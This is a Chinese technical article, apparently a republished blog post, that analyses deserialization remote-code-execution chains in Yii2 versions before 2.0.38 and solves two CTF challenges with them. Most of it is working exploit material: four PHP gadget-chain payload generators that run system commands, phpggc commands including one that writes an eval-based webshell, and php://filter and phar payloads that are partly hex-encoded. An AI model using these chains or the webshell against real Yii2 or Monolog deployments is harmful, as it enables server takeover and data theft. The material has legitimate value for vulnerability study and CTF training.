yii2框架使用实例分析
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Yii
是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38
之前的版本存在反序列化漏洞,程序在调用unserialize()
时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2
利用链以及如何自己去构造payload
,并结合CTF题目去学习yii2
框架
Yii2<2.0.38反序列化
安装:在 https://github.com/yiisoft/yii2/releases下载2.0.37
的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php
里面往cookieValidationKey
随意给点值,运行 php yii serve
,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
就可以进行测试了
?r=test/test&name=链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct() { // make sure cursor is closed $this->reset(); }跟进
$this->reset();
public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }这里的
$this->_dataReader
可控,并调用了close()
方法,那么可以找到一个类不存在close()
方法,但存在__call
方法就可以调用他了在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes) { return $this->format($method, $attributes); }这里的
$method
为close
,$attributes
为空,继续跟进format
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }跟进
getFormatter
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }似曾相识的代码,
laravel5.8
某条链就出现过,这里$this->formatters
可控,也就是$this->getFormatter($formatter)
这这个可控,但是$arguments
的值我们无法控制,值为空到这里可以执行
phpinfo
了_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b))); }但是我们想要
rce
的话,还要在yii2
中已有的无参方法中进行挖掘这里我们可以使用正则匹配直接搜索含有
call_user_function
的无参函数call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }这里的
$this->checkAccess
和$this->id
都是我们可控的所以直接构造就行了
_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }链二
这个是
yii2 2.0.37
的另外一条链起点和链一相同,是
BatchQueryResult
类的__destruct
,然后是$this->_dataReader->close()
,但是这里不找__call
,我们去找存在close
方法的类找到
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession { ... public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields();这里跟进
$this->composeFields()
abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];这里
$this->writeCallback
可控,$this
是一个对象,所以这里调phpinfo
的话应该不行,不过可以续上链一的run
方法(即那个无参的方法)这里直接构造即可
_dataReader = $_dataReader; } } } namespace yii\web{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback = $writeCallback; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new yii\web\DbSession(array($c, 'run')); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }链三
我们可以在
yii2 2.0.38
的commit
看到他加了一个__wakeup
这里限制了链一的起点
BatchQueryResult
无法使用,后面的__call
的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct() { $this->stopProcess(); }这里继续跟进
stopProcess
public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }这里的
$this->processes
可控,所以可以利用$process->isRunning()
来进行触发__call
后面的利用就和链一相同了
processes[] = $processes; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a))); }链四
同样的先找
__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }这里
$nsKey
可控,跟进clearAll
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }这里没有触发
__call
的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString() { return $this->__dom__->saveXML(); }同样用他去触发
__call
path = $path; $this->keys = $keys; } } } namespace Codeception\Util{ class XmlBuilder{ protected $__dom__; public function __construct($__dom__) { $this->__dom__ = $__dom__; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('saveXML'=>array($c,'run'))); $a = new Codeception\Util\XmlBuilder($b); $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); print(urlencode(serialize($d))); }phpggc
使用
./phpggc -l yii2
可以看到有两条yii2
的链可以使用如下命令快速得到链,
-u
指url
编码./phpggc Yii2/RCE1 system id -u
phpggc
的链二的终点是一个eval
,所以这里可以直接写shell
,-b
指base64
编码./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -bCTF题目
[HMBCTF 2021]framework
把题目附件解压,看到
html\controllers\SiteController.php
class SiteController extends Controller { public function actionAbout($message = 'Hello') { $data = base64_decode($message); unserialize($data); }这里可以这样传参
?r=site/about&message=拿链一打了一下,发现一下
system
等函数被ban
这里用
phpggc yii2
的链二写一个shell
进去,然后用蚁剑的apache/mod
绕disable
,运行/readflag
即可获取flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => [ 'traceLevel' => YII_DEBUG ? 0 : 0, 'targets' => [ [ 'class' => 'yii\log\FileTarget', 'levels' => ['error'], 'logVars' => [], ], ], ],看到附件的
SiteController.php
就改了这个地方public function actionIndex() { $file = Yii::$app->request->get('file'); $res = file_get_contents($file); file_put_contents($file,$res); return $this->render('index'); }
yii
框架的runtime/logs
目录下有一个app.log
看一下依赖发现
monolog
符合"require": { "php": ">=5.6.0", "yiisoft/yii2": "~2.0.14", "yiisoft/yii2-bootstrap": "~2.0.0", "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19" },首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc
生成php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"写入日志,注意最后面要加个字符
a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=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phar
的内容/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log最后用
phar
协议打一下/?file=phar://../runtime/logs/app.log/test.txt然后在根目录找到
This_is_flaaagggg
然后用这个找一下
flag
即可php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"“yii2框架使用实例分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注创新互联网站,小编将为大家输出更多高质量的实用文章!
名称栏目:yii2框架使用实例分析
转载来源:http://cdiso.cn/article/iegiip.html